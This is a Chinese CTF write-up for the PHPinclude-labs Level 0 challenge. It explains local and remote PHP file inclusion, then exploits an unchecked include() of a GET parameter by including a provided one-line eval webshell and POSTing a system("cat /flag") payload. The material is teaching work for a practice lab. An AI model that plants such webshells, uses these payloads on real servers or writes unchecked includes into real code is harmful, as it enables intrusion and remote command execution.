当前位置: 首页 > article >正文

[HelloCTF]PHPinclude-labs超详细WP-Level 0

源码分析

讲解源码前, 先讲一下 PHP 文件包含漏洞

漏洞原理

  • 文件包含用于

    • 包含内容和函数

    • 用于减少重复代码

  • 示例

    • <?php
        $file = $_GET['file'];
        include($file);
      ?>
      
    • 因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题

    • http://www.xxx.com/main.php?file=x.php
      
  • 文件包含漏洞分类

    • 本地文件包含漏洞-LIF

      • 包含的文件在服务器本地
    • 远程文件包含漏洞-RLF

      • 包含的文件在第三方服务

      • 需要php.ini中的 allow_url_fopenallow_url_include 为ON

      • http://www.xxx.com/main.php?file=http://www.yyy.com/file.php
        
  • PHP常见的文件包含的函数

    • include

      • 当使用该函数包含文件时, 只有代码执行到include()函数时才将文件包含进来, 发生错误时之给出一个警告, 继续向下执行
    • include_once

      • 功能与Include()相同, 区别在于当重复调用同一文件时,程序只调用一次
    • require

      • require()与include()的区别在于require( )执行如果发生错误, 函数会输出错误信
    • require_once

      • 功能与require()相同, 区别在于当重复调用同一文件时, 程序只调用一次

  • 通过上文大致知道 PHP 文件包含的分类(本地文件包含 与 远程文件包含)

    • 由于本题开启了如下配置

      • allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On)
        allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)
        
    • 所以可以使用远程文件包含的

  • 接着开始分析源码

    • <?php 
      	isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';
      	highlight_file(__FILE__);
      ?>
      
    • 源码其实很短, 除了显示代码的语句 highlight_file(__FILE__);

    • 就是 isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';

      • 即检测是否 GET 传入 wrappers 参数

        • 如果有的话就是用 include() 函数包含这个参数文件

        • 即使参数中的文件也在该文件执行

解题分析

  • 通过这个语句 isset($_GET['wrappers']) ? include($_GET['wrappers']) : ''; 就可以进行文件包含了

  • 本题因为配置 allow_url_include=On, allow_url_fopen=On 所以可以包含远程文件

    • 比如包含服务器上的一句话木马

    • 但是这里探姬已经在当前目录在放了一个 backdoor.txt 的后门

      • 即一句话木马
    • 所以这里就不使用服务器上的马了

    • 不过也可以通过包含百度演示一下

      • http://靶机地址/?wrappers=http://www.baidu.com
        
      • 在这里插入图片描述

      • 这里放大一下, 方便把题目和百度的页面一起截进去

  • 除此之外, 探姬还留了一个 phpinfo.txt 文件

    • 里面的内容是 <?php phpinfo(); ?>

    • 我们可以通过包含这个文件, 参看当前PHP的信息

    • 这里就可以看到 allow_url_include, allow_url_fopen 是开启状态

    • 在这里插入图片描述

解题步骤

  • 上文通过 百度 演示了远程文件包含

  • 接下来就通过本地文件包含来获取flag

    • 直接使用探姬留下的后文文件 backdoor.txt

    • http:/靶机地址/?wrappers=./backdoor.txt
      
  • 这样就结束了?

    • Flag在哪?

    • 怎么没有出现?

  • 如果你有这样的疑问, 或许你还没理解文件包含的意思

    • 文件包含只是把传入的文件包含在原本的代码中, 并且运行

    • 但是backdoor.txt 有什么呢?

      • 如下

        • <?php @eval($_POST['ctf']); ?>
          
      • 发现又什么了吗? -> @eval($_POST['ctf']);

        • POST 传入的参数会被 eval 当做命令执行

        • eval 只是执行 PHP 命令的

        • 为了执行系统命令, 我们还需要嵌套一层 system() 函数

        • ctf 传入的参数应该是 system("");, 引号中间加入系统命令, 如 ls

  • 也就是在 ?wrappers=./backdoor.txt 传参后, 当前页面的源码执行后, 又执行了 backdoor.txt 的内容

    • <?php 
      	isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';
      	highlight_file(__FILE__);
      ?>
      <?php @eval($_POST['ctf']); ?>
      
    • 我们就可以接着一同 POST 请求传入参数 ctf

  • 最后 Payload 报文如下

    • /?wrappers=./backdoor.txt
      ctf=system("cat /flag");
      
    • 在这里插入图片描述


http://www.kler.cn/a/589835.html

相关文章:

  • 本地部署 RAGFlow - 修改默认端口
  • 【npm ERR! code ERESOLVE npm ERR! ERESOLVE unable to resolve dependency tree】
  • 论文阅读:2023-arxiv Can AI-Generated Text be Reliably Detected?
  • 重构版:JavaScript 的 new 操作符——从“黑箱仪式”到“亲手造物”的认知跃迁
  • 大语言模型入门文献推荐
  • 多模态模型Orpheus,基于病理图像的乳腺癌复发风险智能评估工具|顶刊解读·25-03-17
  • Oracle 查询表占用空间(表大小)的方法
  • 设计模式-组件协作
  • 问题链的拓扑学重构
  • java 动态赋值写入word模板
  • react实现虚拟列表
  • MYsql—1
  • 【Linux系统】进程地址空间详解
  • GLOW-TTS
  • Yolo v4 (Darknet) Mac M2 安装与运行
  • 前端UnoCSS面试题及参考答案
  • Forward Looking Radar Imaging by Truncated Singular Value Decomposition 论文阅读
  • gitlab将本地项目提交到远程dev分支
  • 【JAVA】深入浅出理解Comparator 和 Comparable接口
  • 【免费】怎么将MP4转换为GIF,如何在线实现多媒体文件格式互转